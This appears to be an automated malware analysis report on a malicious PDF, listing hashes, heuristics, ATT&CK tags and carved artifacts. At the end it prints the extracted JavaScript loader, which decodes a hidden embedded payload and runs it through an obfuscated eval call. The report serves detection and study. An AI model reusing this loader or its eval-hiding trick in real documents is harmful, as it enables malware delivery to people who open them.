Malicious PDF — malware analysis report

Static analysis result for SHA-256 a80bbe618c6d3f99…

MALICIOUS

PDF

4.5 KB First seen: 2026-05-09
MD5: e396e6949d6fd14dc024a8031fae7d8e SHA-1: 3fb1c1beacac708c30cb33379f355721390b9912 SHA-256: a80bbe618c6d3f99bc31cb8c8034dba906a0aee11f6213417a2063177874de27
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, though not fully deobfuscated, is likely responsible for executing the embedded file or initiating a download of a second-stage payload. The presence of these components suggests a delivery mechanism for malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 78030 bytes
SHA-256: 152ef0ab5548acd77b8d7f7424f4bb9c35037b7a3d08b7d89e2e0dad8cf5a001
Detection
ClamAV: No threats found
Obfuscation or payload: likely
266 of 266 identifiers look randomly generated (e.g. 'uocWKYsLxXjFQ7GX1uocWKYsLxXjFQ7GX2uocWKY') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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